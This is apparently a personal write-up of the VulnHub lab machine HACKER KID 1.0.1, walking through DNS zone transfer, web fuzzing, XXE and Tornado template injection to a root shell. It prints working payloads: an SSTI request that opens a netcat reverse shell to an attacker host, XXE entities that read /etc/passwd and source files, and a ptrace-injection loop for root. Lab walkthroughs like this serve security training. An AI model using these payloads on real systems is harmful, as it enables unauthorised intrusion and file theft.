Vulnhub: HACKER KID: 1.0.1
This is HACKER KID: 1.0.1 from VulnHub.
I started this quite a while ago but didn’t finish it; now I have and this is how. I totally cheated doing this too by the way.
Ports
We’ve got DNS, HTTP on 80 and another HTTP port on 9999.
Shortcut
The quick path to a shell here is like this:
GET /?name={%25+import+os+%25}{{+os.popen("rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f | /bin/sh+-i+2>%261 | nc+192.168.1.210+1234+>/tmp/f")+}} HTTP/1.1
See?
┌──(root💀kali)-[/opt/vulnhub/hackerkid]
└─# nc -nvlp 1234
listening on [any] 1234 ...
connect to [192.168.1.210] from (UNKNOWN) [192.168.1.88] 48032
/bin/sh: 0: cant access tty; job control turned off
$ python3 -c 'import pty;pty.spawn("/bin/bash");'
saket@ubuntu:~$
What is this? It’s an SSTI on Tornado. How did we get here? I’ll explain what I think the creator intended….
HTTP
If we go to the main webpage (port 80), we get a message saying the server was hacked, and a note:
More you will DIG me,more you will find me on your servers..DIG me more…DIG me more
If we check the page source we’ll see this:
TO DO: Use a GET parameter page_no to view pages
If we go to http://192.168.1.88/?page_no=21 we will get this:
Okay so you want me to speak something ?
I am a hacker kid not a dumb hacker. So i created some subdomains to return back on the server whenever i want!!
Out of my many homes…one such home..one such home for me : hackers.blackhat.local
If we add hackers.blackhat.local to /etc/hosts, we’ll be disappointed because it’s a not a thing. I’m not sure if that’s deliberate or not (I think so, hence the line about some subdomains); we want to use DIG per the hint - did you get it?:
dig axfr @192.168.1.88 blackhat.local
; <<>> DiG 9.16.15-Debian <<>> axfr @192.168.1.88 blackhat.local
; (1 server found)
;; global options: +cmd
blackhat.local. 10800 IN SOA blackhat.local. hackerkid.blackhat.local. 1 10800 3600 604800 3600
blackhat.local. 10800 IN NS ns1.blackhat.local.
blackhat.local. 10800 IN MX 10 mail.blackhat.local.
blackhat.local. 10800 IN A 192.168.14.143
ftp.blackhat.local. 10800 IN CNAME blackhat.local.
hacker.blackhat.local. 10800 IN CNAME hacker.blackhat.local.blackhat.local.
mail.blackhat.local. 10800 IN A 192.168.14.143
ns1.blackhat.local. 10800 IN A 192.168.14.143
ns2.blackhat.local. 10800 IN A 192.168.14.143
www.blackhat.local. 10800 IN CNAME blackhat.local.
blackhat.local. 10800 IN SOA blackhat.local. hackerkid.blackhat.local. 1 10800 3600 604800 3600
;; Query time: 4 msec
;; SERVER: 192.168.1.88#53(192.168.1.88)
;; WHEN: Fri Aug 20 06:59:46 EDT 2021
;; XFR size: 11 records (messages 1, bytes 353)
So we’ve got hackerkid.blackhat.local. Probably should check that out; add it to /etc/hosts.
hackerkid.blackhat.local
If we head over to this page, we find a form to register an account. We can enter some data (note the form doesn’t actually do any registration) and if we capture the request then we can see there is XML being POSTed to process.php. This is vulnerable to XXE like so:
POST /process.php HTTP/1.1
Host: hackerkid.blackhat.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/plain;charset=UTF-8
Content-Length: 282
Origin: http://hackerkid.blackhat.local
Connection: close
Referer: http://hackerkid.blackhat.local/
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
<root><name>asdas</name><tel>1234</tel><email>&xxe;</email><password>password</password></root>
How does this help us? Actually, it doesn’t much. I think there was supposed to be a file read hint for the next part, but I couldn’t find anything useful with this.
9999
We had another port. What does that look like?
If we go straight to the page (i.e. http://192.168.1.88:9999/) we get redirected to a login form (http://192.168.1.88:9999/login?next=%2F). If we look at our headers, we find this:
Server: TornadoServer/6.1
And if we put a nonsense URL we can get an error that might be useful, e.g. http://192.168.1.88:9999/ajksdfhajks gives:
Traceback (most recent call last):
File "/usr/local/lib/python3.8/dist-packages/tornado/web.py", line 1681, in _execute
result = self.prepare()
File "/usr/local/lib/python3.8/dist-packages/tornado/web.py", line 2430, in prepare
raise HTTPError(self._status_code)
tornado.web.HTTPError: HTTP 404: Not Found
You can read that file (/usr/local/lib/python3.8/dist-packages/tornado/web.py) with the XXE if you want, but you have to base64 encode it:
<!DOCTYPE root [<!ENTITY xxe SYSTEM 'php://filter/convert.base64-encode/resource=/usr/local/lib/python3.8/dist-packages/tornado/web.py'>]>
Now what?
If we fuzz blackhat.local we can find a few things:
┌──(root💀kali)-[/opt/vulnhub/hackerkid]
└─# feroxbuster -u http://blackhat.local -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 200 -C 403 -x html
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.3.1
───────────────────────────┬──────────────────────
🎯 Target Url │ http://blackhat.local
🚀 Threads │ 200
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/big.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405]
💢 Status Code Filters │ [403]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.3.1
💉 Config File │ /etc/feroxbuster/ferox-config.toml
💲 Extensions │ [html]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
301 9l 28w 321c http://blackhat.local/javascript
301 9l 28w 320c http://blackhat.local/templates
301 9l 28w 328c http://blackhat.local/javascript/jquery
200 10l 14w 141c http://blackhat.local/templates/index.html
200 17l 32w 332c http://blackhat.local/templates/login.html
200 10365l 41507w 271809c http://blackhat.local/javascript/jquery/jquery
[####################] - 28s 204750/204750 0s found:6 errors:590
[####################] - 14s 40950/40950 2913/s http://blackhat.local
[####################] - 18s 40950/40950 2251/s http://blackhat.local/cgi-bin/
[####################] - 16s 40950/40950 2454/s http://blackhat.local/javascript
[####################] - 20s 40950/40950 1991/s http://blackhat.local/templates
[####################] - 17s 40950/40950 2333/s http://blackhat.local/javascript/jquery
And if we go to say http://blackhat.local/templates/index.html we see:
Welcome, {{ current_user }}
So this gives us a clue about the template injection. How exactly we’re supposed to know that it’s on the name parameter on port 9999 I’m not entirely sure; I clearly missed the clue (if there was one). Anyway….what I will say is that you can read /opt/server.py with the XXE (base64 encoded) and get some credentials with which you can login at http://192.168.1.88:9999/, and if you do that you get this message:
Tell me your name buddy
How can i get to know who are you ??
Which is obviously a pretty good clue about the /name parameter and you can figure out the SSTI from there (I did). But how did you know to read /opt/server.py? Well that’s mystery, maybe you were supposed to guess it.
Root
Okay so go back to the shortcut and get yourself a shell. Root is via the exact method described in this blog post; you can figure out that python2.7 has CAP_SYS_PTRACE from linpeas. The inject.py script from the page works fine, the only difference is that nginx is not running on our box.
I tried a few different processes and none of them wanted to play the game so I said yolo and did this:
saket@ubuntu:~$ for i in {100..400}; do python2.7 inject.py $i; done
And guess what?
saket@ubuntu:~$ netstat -ntlp
netstat -ntlp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:953 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:5600 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:56353 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:38563 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:9999 0.0.0.0:* LISTEN 653/python3
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 192.168.1.88:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN -
tcp6 0 0 ::1:953 :::* LISTEN -
tcp6 0 0 :::9999 :::* LISTEN 653/python3
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 ::1:53 :::* LISTEN -
tcp6 0 0 ::1:631 :::* LISTEN -
saket@ubuntu:~$ nc 0.0.0.0 5600
nc 0.0.0.0 5600
python3 -c 'import pty;pty.spawn("/bin/bash");'
python3 -c 'import pty;pty.spawn("/bin/bash");'
root@ubuntu:/# id;hostname;date
id;hostname;date
id;hostname;date
uid=0(root) gid=0(root) groups=0(root)
ubuntu
Fri Aug 20 03:44:07 PDT 2021
root@ubuntu:/#
And that’s the end of that.